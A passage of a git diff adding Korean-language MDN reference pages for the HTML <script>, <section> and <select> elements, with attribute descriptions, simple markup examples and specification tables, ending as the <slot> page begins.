+ <dd><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES2015 모듈</a>을 지원하는 브라우저에서는 실행하지 않을 스크립트임을 나타내는 불리언 특성입니다. 모듈화 JavaScript를 지원하지 않는 오래된 브라우저가 사용할 대체 스크립트에 사용할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("nonce")}}</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src"><code>script-src</code> <code>Content-Security-Policy</code></a>의 화이트리스트에 스크립트를 등록하기 위한, 암호화된 일회용 숫자(논스, nonce)입니다. 서버는 고유한 일회용 숫자값을 정책을 전송할 때마다 생성해야 합니다. 자원의 정책을 우회할 수 없도록, 추측할 수 없는 임시값을 제공하는 것이 중요합니다.</dd>
+ <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}}</dt>
+ <dd>스크립트를 가져올 때, 또는 스크립트가 다른 리소스를 가져올 때 전송할 <a href="/ko/docs/Web/API/Document/referrer">리퍼러</a>를 나타냅니다.
+ <ul>
+  <li><code>no-referrer</code>: {{HTTPHeader("Referer")}} 헤더를 전송하지 않습니다.</li>
+  <li><code>no-referrer-when-downgrade</code> (기본값): {{glossary("TLS")}}({{glossary("HTTPS")}}) 지원을 하지 않는 {{glossary("origin", "출처")}}에 대해서는 {{HTTPHeader("Referer")}} 헤더를 전송하지 않습니다.</li>
+  <li><code>origin</code>: <code>Referer</code> 헤더가 요청 출처({{glossary("protocol", "스킴")}}, {{glossary("host", "호스트")}}, {{glossary("port", "포트")}})를 포함합니다.</li>
+  <li><code>origin-when-cross-origin</code>: <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처</a> 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 교차 출처 요청에는 출처만 전송합니다.</li>
+  <li><code>same-origin</code>: 동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 교차 출처 요청에는 아무 레퍼러 정보도 보내지 않습니다.</li>
+  <li><code>strict-origin</code>: 목적지가 현재 문서와 동일하거나 더 높은(HTTP(S)→HTTPS) 보안 수준을 가진 경우 출처를 전송하고, 더 취약(HTTPS→HTTP)한 경우 전송하지 않습니다.</li>
+  <li><code>strict-origin-when-cross-origin</code>: 동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 목적지가 현재 문서와 동일하거나 더 높은 보안 수준(HTTP(S)→HTTPS)을 가진 경우 자신의 출처를 전송합니다. 그 외의 경우 아무 레퍼러 정보도 보내지 않습니다.</li>
+  <li><code>unsafe-url</code>: 동일 출처와 교차 출처 요청 모두에 대해서 전체 URL을 전송합니다. TLS로 보호하는 리소스에서 안전하지 않은 출처에 경로까지 노출하므로 <strong>안전하지 않습니다</strong>.</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><strong>참고</strong>: 빈 문자열 값(<code>""</code>)은 기본값이자 <code>referrerpolicy</code> 특성을 지원하지 않는 경우 사용하는 대체값입니다. <code>referrerpolicy</code>를 <code>&lt;script&gt;</code> 요소에 명시하지 않은 경우 더 상위 단계의 정책, 즉 문서 자체나 도메인의 정책을 따라갑니다. 상위 단계 정책도 사용할 수 없을 땐 빈 문자열을 <code>no-referrer-when-downgrade</code>로 간주합니다.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>외부 스크립트를 가리키는 {{glossary("URI")}}입니다. 문서 내에 스크립트를 직접 삽입하는 것 대신 사용할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>
+ <p>스크립트의 유형을 나타냅니다. 다음 다섯개의 범주 중 하나에 속할 수 있습니다.</p>
+
+ <ul>
+  <li><strong>생략 또는 JavaScript MIME 유형:</strong> 스크립트가 JavaScript임을 나타냅니다. 이 경우, HTML5 명세는 웹 작성자가 불필요한 <code>type</code>을 포함하지 않고 완전히 제외할 것을 촉구합니다. 보다 오래된 브라우저에서는 <code>type</code> 특성의 값으로 삽입 혹은 (<code>src</code> 특성으로) 불러온 스크립트의 언어를 표시하곤 했습니다. JavaScript MIME 유형은 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#JavaScript_types">명세에 나열</a>되어 있습니다.</li>
+  <li><strong><code>module</code>:</strong> 스크립트를 JavaScript 모듈로 간주합니다. 스크립트 콘텐츠 처리가 <code>charset</code>과 <code>defer</code> 특성의 영향을 받지 않습니다. <code>module</code>의 더 자세한 사용법은 MDN의 <a href="/ko/docs/Web/JavaScript/Guide/Modules">JavaScript 모듈 안내서</a>를 참고하세요. 기존 스크립트와 달리, 모듈 스크립트는 교차 출처 가져오기 시 CORS 프로토콜을 사용해야 합니다.</li>
+  <li><strong>다른 모든 값:</strong> 내장 콘텐츠를 브라우저가 처리하지 않을 데이터 블록으로 간주합니다. 개발자는 반드시 유효하면서 JavaScript가 아닌 MIME 유형을 지정해야 합니다. <code>src</code> 특성을 무시합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}} {{Deprecated_inline}}</dt>
+ <dd>If present, its value must be an ASCII case-insensitive match for "<code>utf-8</code>". It’s unnecessary to specify the <code>charset</code> attribute, because documents must use UTF-8, and the <code>script</code> element inherits its character encoding from the document.</dd>
+ <dt>{{htmlattrdef("language")}} {{Deprecated_inline}}</dt>
+ <dd>Like the <code>type</code> attribute, this attribute identifies the scripting language in use. Unlike the <code>type</code> attribute, however, this attribute’s possible values were never standardized. The <code>type</code> attribute should be used instead.</dd>
+</dl>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<p>브라우저가 구문 분석을 진행하다 인라인 스크립트 또는 {{htmlattrxref("async", "script")}}, {{htmlattrxref("defer", "script")}}, <code>type="module"</code> 특성이 없는 스크립트에 도달하면 스크립트를 가져온 후 실행하기 전까지 분석을 중단합니다.</p>
+
+<p>스크립트는 <code>text/javascript</code> MIME 유형을 설정해야 하나, 브라우저는 관대한 규칙을 적용하여 이미지 형태(<code>image/*</code>), 비디오 형태(<code>video/*</code>), 오디오 형태(<code>audio/*</code>), <code>text/csv</code> 형태로 스크립트를 불러오려는 경우만 차단하고 나머지는 허용합니다. 스크립트를 차단한 경우 {{event("load")}} 대신 {{event("error")}} 이벤트를 요소에 전송합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본">기본</h3>
+
+<p>다음 예제는 <code>&lt;script&gt;</code> 요소를 사용해 외부 스크립트를 가져오는 법을 보입니다.</p>
+
+<pre class="brush: html notranslate">&lt;script src="javascript.js"&gt;&lt;/script&gt;
+</pre>
+
+<p>그리고 아래 코드는 <code>&lt;script&gt;</code> 요소 내부에 인라인 스크립트를 작성하는 예시입니다.</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+  alert("Hello World!");
+&lt;/script&gt;</pre>
+
+<h3 id="모듈_대체_스크립트">모듈 대체 스크립트</h3>
+
+<p>{{htmlattrxref("type", "script")}} 특성이 <code>module</code>을 지원하는 브라우저는 <code>nomodule</code> 특성을 가진 모든 <code>&lt;script&gt;</code>를 무시합니다. 그러므로 모듈 스크립트를 사용하면서도, 미지원 브라우저를 위한 대체 스크립트를 <code>nomodule</code>로 표시해 제공할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">&lt;script type="module" src="main.mjs"&gt;&lt;/script&gt;
+&lt;script nomodule src="fallback.js"&gt;&lt;/script&gt;</pre>
+
+<h3 id="HTML에_데이터_삽입하기">HTML에 데이터 삽입하기</h3>
+
+<p>&lt;script&gt; 요소와 JavaScript 외의 유효한 MIME 유형을 사용하면 서버사이드 렌더링을 통해 HTML에 데이터를 삽입할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;!-- Generated by the server --&gt;
+&lt;script id="data" type="application/json"&gt;{"userId":1234,"userName":"John Doe","memberSince":"2000-01-01T00:00:00.000Z"}&lt;/script&gt;
+
+&lt;!-- Static --&gt;
+&lt;script&gt;
+  const userInfo = JSON.parse(document.getElementById("data").text);
+  console.log("User information: %o", userInfo);
+&lt;/script&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Removed the {{HTMLAttrxRef("charset", "script")}} attribute</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "semantics-scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "interact/scripts.html#h-18.2.1", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("html.elements.script", 2)}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("document.currentScript")}}</li>
+ <li><a href="https://pie.gd/test/script-link-events/">Ryan Grove의 <code>&lt;script&gt;</code>와 <code>&lt;link&gt;</code> 노드 이벤트 호환성 차트</a></li>
+</ul>
diff --git a/files/ko/web/html/element/section/index.html b/files/ko/web/html/element/section/index.html
new file mode 100644
index 0000000000..46efafc2b0
--- /dev/null
+++ b/files/ko/web/html/element/section/index.html
@@ -0,0 +1,123 @@
+---
+title: '<section>: 일반 구획 요소'
+slug: Web/HTML/Element/section
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/section
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;section&gt;</code> 요소</strong>는 HTML 문서의 독립적인 구획을 나타내며, 더 적합한 의미를 가진 요소가 없을 때 사용합니다.</span> 보통 <code>&lt;section&gt;</code>은 제목을 포함하지만, 항상 그런 것은 아닙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/section.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 요소의 콘텐츠를 외부와 구분하여 단독으로 묶는 것이 나아보인다면 {{htmlelement("article")}} 요소가 더 좋은 선택일 수 있습니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구획_콘텐츠">구획 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.<br>
+    단, <code>&lt;section&gt;</code> 요소는 {{HTMLElement("address")}}의 자손이 될 수 없습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>각각의 <code>&lt;section&gt;</code>을 식별할 수단이 필요합니다. 주로 제목({{htmlelement('h1')}}-{{htmlelement('h6')}}) 요소를 <code>&lt;section&gt;</code>의 자식으로 포함하는 방법을 사용합니다.</li>
+ <li>요소의 콘텐츠를 따로 구분해야 할 필요가 있으면 {{htmlelement("article")}} 요소를 고려하세요.</li>
+ <li><code>&lt;section&gt;</code> 요소를 일반 컨테이너로 사용하지 마세요. 특히 단순한 스타일링이 목적이라면 {{htmlelement("div")}} 요소를 사용해야 합니다. 대개, 문서 요약에 해당 구획이 논리적으로 나타나야 하면 <code>&lt;section&gt;</code>이 좋은 선택입니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="이전">이전</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h2&gt;Heading&lt;/h2&gt;
+  &lt;img&gt;some image&lt;/img&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="이후">이후</h3>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h2&gt;Heading&lt;/h2&gt;
+  &lt;img&gt;some image&lt;/img&gt;
+&lt;/section&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.section")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Accessibility/ARIA/Roles/Region_role">ARIA: Region role</a></li>
+</ul>
diff --git a/files/ko/web/html/element/select/index.html b/files/ko/web/html/element/select/index.html
new file mode 100644
index 0000000000..59ae3e90ed
--- /dev/null
+++ b/files/ko/web/html/element/select/index.html
@@ -0,0 +1,210 @@
+---
+title: <select>
+slug: Web/HTML/Element/select
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/select
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;select&gt;</code> 요소</strong>는 옵션 메뉴를 제공하는 컨트롤을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/select.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples
+&lt;https://github.com/mdn/interactive-examples>">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>위의 예제는 일반적인 <code>&lt;select&gt;</code> 사용법을 시연합니다. {{htmlelement("label")}}과 연결해 접근성을 향상할 수 있도록 {{htmlattrxref("id")}} 특성을, 서버로 전송할 데이터의 이름을 위해 {{htmlattrxref("name", "select")}} 특성을 적용했습니다. 메뉴의 각 옵션은 <code>&lt;select&gt;</code> 안의 {{htmlelement("option")}}으로 정의합니다.</p>
+
+<p>모든 <code>&lt;option&gt;</code>은 자신이 선택됐을 때 값으로써 사용할 {{htmlattrxref("value", "option")}} 특성이 필요합니다. 그러나 <code>value</code> 특성을 지정하지 않은 경우, 대신 자기 안의 텍스트를 값으로 사용합니다. {{htmlattrxref("selected", "option")}} 특성을 지정하면 해당 옵션을 선택한 상태로 페이지를 불러옵니다.</p>
+
+<p><code>&lt;select&gt;</code> 요소를 조작할 때 사용할 수 있는 여러가지 고유 특성이 존재합니다. {{htmlattrxref("multiple", "select")}} 특성을 사용하면 다수의 항목을 동시에 선택할 수 있고, {{htmlattrxref("size", "select")}} 특성은 한 번에 노출되는 항목의 수를 조절할 수 있습니다. <code>required</code>, <code>disabled</code>, <code>autofocus</code> 등 일반적인 양식 입력 요소의 특성도 사용할 수 있습니다.</p>
+
+<p><code>&lt;option&gt;</code> 요소를 {{htmlelement("optgroup")}} 요소 안에 배치하면 드롭다운 내에서 옵션 그룹을 나눌 수 있습니다.</p>
+
+<p class="hidden">For further examples, see <a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets#Drop-down_content">The native form widgets: Drop-down content</a>.</p>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autocomplete")}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}의 자동완성 기능을 지원하는 {{domxref("DOMString")}}. 가능한 값의 전체 목록과, 자동완성의 상세 사용법은 <a href="/ko/docs/Web/HTML/Attributes/autocomplete">HTML <code>autocomplete</code> 특성</a> 문서를 참고하세요.</dd>
+ <dt>{{htmlattrdef("autofocus")}}</dt>
+ <dd>지정한 경우, 페이지를 불러왔을 때 자동으로 포커스를 부여합니다. 문서 내에서 하나의 양식 요소만 <code>autofocus</code> 특성을 가질 수 있습니다.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>지정한 경우, 사용자와 <code>&lt;select&gt;</code> 요소의 모든 상호작용을 막습니다. 지정하지 않은 경우에도 {{htmlelement("fieldset")}} 등 부모 요소의 <code>disabled</code> 특성을 상속하므로 비활성 상태가 될 수 있습니다.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd><code>&lt;select&gt;</code>와 연결할 {{HTMLElement("form")}} 요소("양식 소유자"). 같은 문서에 존재하는 <code>&lt;form&gt;</code> 요소의 {{htmlattrxref("id")}} 특성 값을 사용해야 합니다. <code>form</code> 특성을 지정하지 않았으나 조상 중 <code>&lt;form&gt;</code> 요소가 존재하면 해당 <code>&lt;form&gt;</code>과 연결됩니다.</dd>
+ <dd><code>form</code> 특성을 사용하면 <code>&lt;select&gt;</code>를 <code>&lt;form&gt;</code> 요소에 넣지 않고도 연결할 수 있고, 조상 중 <code>&lt;form&gt;</code>이 있더라도 소유자를 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("multiple")}}</dt>
+ <dd>지정한 경우, 메뉴에서 다수의 옵션을 선택할 수 있습니다. 지정하지 않은 경우 하나만 선택 가능합니다. 대부분의 브라우저는 <code>multiple</code> 특성이 존재하면 드롭다운 메뉴 대신 스크롤 가능한 목록 상자를 보여줍니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>컨트롤의 이름.</dd>
+ <dt>{{htmlattrdef("required")}}</dt>
+ <dd>옵션 중 값으로 비어있지 않은 문자열을 값으로 하는 항목을 반드시 선택해야 함을 나타냅니다.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd><code>&lt;select&gt;</code>를 (<code>multiple</code> 특성 사용 등의 이유로) 스크롤 가능한 목록 상자로 표현할 때 지정한 경우, 목록에서 한 번에 볼 수 있는 옵션 줄 수를 나타냅니다. 브라우저가 <code>&lt;select&gt;</code> 요소를 반드시 스크롤 가능한 목록 상자로 표현해야 하는 것은 아닙니다. 기본값은 0입니다.</dd>
+</dl>
+
+<div class="note"><strong>참고:</strong> HTML5 명세에 따르면 <code>size</code>의 기본값은 1이어야 합니다. 그러나 실제로 기본값을 1로 적용하면 일부 웹 사이트가 망가지는 것으로 밝혀졌으며 어떠한 브라우저도 기본값으로 1을 사용하지 않습니다. Mozilla도 당분간 Firefox의 기본값을 0으로 유지하기로 결정했습니다.</div>
+
+<dl>
+</dl>
+
+<ul>
+</ul>
+
+<div class="hidden">
+<h2 id="Usage_notes">Usage notes</h2>
+
+<h3 id="Selecting_multiple_options">Selecting multiple options</h3>
+
+<p>On a desktop computer, there are a number of ways to select multiple options in a <code>&lt;select&gt;</code> element with a <code>multiple</code> attribute:</p>
+
+<p>Mouse users can hold the <kbd>Ctrl</kbd>, <kbd>Command</kbd>, or <kbd>Shift</kbd> keys (depending on what makes sense for your operating system) and then click multiple options to select/deselect them.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Warning</strong>: The mechanism for selecting multiple non-contiguous items via the keyboard described below currently only seems to work in Firefox. Also note that on macOS, the <kbd>Ctrl</kbd> + <kbd>Up</kbd> and <kbd>Ctrl</kbd> + <kbd>Down</kbd> shortcuts conflict with the OS default shortcuts for <em>Mission Control</em> and <em>Application windows</em>, so you'll have to turn these off before it will work.</p>
+</div>
+
+<p>Keyboard users can select multiple contiguous items by:</p>
+
+<ul>
+ <li>Focusing on the <code>&lt;select&gt;</code> element (e.g. using <kbd>Tab</kbd>).</li>
+ <li>Selecting an item at the top or bottom of the range they want to select using the <kbd>Up</kbd> and <kbd>Down</kbd> cursor keys to go up and down the options.</li>
+ <li>Holding down the <kbd>Shift</kbd> key and then using the <kbd>Up</kbd> and <kbd>Down</kbd> cursor keys to increase or decrease the range of items selected.</li>
+</ul>
+
+<p>Keyboard users can select multiple non-contiguous items by:</p>
+
+<ul>
+ <li>Focusing on the <code>&lt;select&gt;</code> element (e.g. using <kbd>Tab</kbd>).</li>
+ <li>Holding down the <kbd>Ctrl</kbd> key then using the <kbd>Up</kbd> and <kbd>Down</kbd> cursor keys to change the "focused" select option, i.e. the one that will be selected if you choose to do so. The "focused" select option is highlighted with a dotted outline, in the same way as a keyboard-focused link.</li>
+ <li>Pressing <kbd>Space</kbd> to select/deselect "focused" select options.</li>
+</ul>
+</div>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;select&gt;</code> 요소는 CSS를 사용해 스타일을 적용하기 어렵기로 유명합니다. 물론 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델</a>이나 <a href="/ko/docs/Web/CSS/CSS_Fonts">글씨체</a> 등 일부분은 다른 요소처럼 바꿀 수 있으며, {{cssxref("appearance")}} 속성을 사용하면 기본 시스템 외형을 제거할 수도 있습니다.</p>
+
+<p>그러나 <code>&lt;select&gt;</code> 요소의 내부 구조는 복잡해 통제하기 힘들며, 브라우저간의 차이로 인해 일관적이지 않은 결과가 나올 수도 있습니다. 요소의 모든 부분을 통제해야 할 경우 적합한 스타일링 방법을 제공하는 라이브러리를 고려하세요. 아니면 다른 요소와 JavaScript, <a href="/ko/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a>를 사용해 완전히 별도의 드롭다운 메뉴를 만들어보세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_메뉴">기본 메뉴</h3>
+
+<pre class="brush: html">&lt;!-- 두 번째 값이 처음부터 선택된 상태 --&gt;
+&lt;select name="choice"&gt;
+  &lt;option value="first"&gt;First Value&lt;/option&gt;
+  &lt;option value="second" selected&gt;Second Value&lt;/option&gt;
+  &lt;option value="third"&gt;Third Value&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<p>{{EmbedLiveSample("기본_메뉴", "", "100")}}</p>
+
+<h3 id="여러_기능을_갖춘_복잡한_메뉴">여러 기능을 갖춘 복잡한 메뉴</h3>
+
+<pre class="brush: html">&lt;label&gt;Please choose one or more pets:
+  &lt;select name="pets" multiple size="4"&gt;
+    &lt;optgroup label="4-legged pets"&gt;
+      &lt;option value="dog"&gt;Dog&lt;/option&gt;
+      &lt;option value="cat"&gt;Cat&lt;/option&gt;
+      &lt;option value="hamster" disabled&gt;Hamster&lt;/option&gt;
+    &lt;/optgroup&gt;
+    &lt;optgroup label="Flying pets"&gt;
+      &lt;option value="parrot"&gt;Parrot&lt;/option&gt;
+      &lt;option value="macaw"&gt;Macaw&lt;/option&gt;
+      &lt;option value="albatross"&gt;Albatross&lt;/option&gt;
+    &lt;/optgroup&gt;
+  &lt;/select&gt;
+&lt;/label&gt;
+</pre>
+
+<p>{{EmbedLiveSample("여러_기능을_갖춘_복잡한_메뉴", "", "100")}}</p>
+
+<ul>
+ <li><code>multiple</code> 특성으로 인해 여러 옵션을 같이 선택할 수 있습니다.</li>
+ <li><code>size</code> 특성으로 인해 최대 4개의 옵션만 보입니다.</li>
+ <li>{{htmlelement("optgroup")}} 요소를 사용해 옵션을 두 개의 분리된 그룹으로 나눴습니다. 옵션 그룹은 순전히 시각적인 구분으로, 보통 굵은 글씨체의 옵션명 및 들여쓰기한 옵션 구성원으로 표현합니다.</li>
+ <li>"Hamster" 옵션에는 <code>disabled</code> 특성이 있으므로 선택할 수 없습니다.</li>
+</ul>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>(<a href="/ko/docs/Web/Guide/HTML/Content_categories#나열됨">나열됨</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#초기화_가능">초기화 가능</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#제출_가능">제출 가능</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>0개 이상의 {{HTMLElement("option")}} 또는 {{HTMLElement("optgroup")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("menu")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLSelectElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-select-element', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-select-element', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.select")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;select&gt;</code>가 발사하는 이벤트: {{event("change")}}, {{event("input")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/slot/index.html b/files/ko/web/html/element/slot/index.html
new file mode 100644
index 0000000000..b710ceb7f6
--- /dev/null
+++ b/files/ko/web/html/element/slot/index.html
@@ -0,0 +1,122 @@
+---
+title: <slot>
+slug: Web/HTML/Element/slot
+tags:
+  - Element
+  - HTML
+  - HTML Web Components
+  - Reference
+  - Web
+  - Web Components
+  - 웹 컴포넌트
+translation_of: Web/HTML/Element/slot
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;slot&gt;</code> 요소</strong>는 웹 컴포넌트 사용자가 자신만의 마크업으로 채워 별도의 DOM 트리를 생성하고, 컴포넌트와 함께 표현할 수 있는 웹 컴포넌트 내부의 플레이스홀더입니다.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
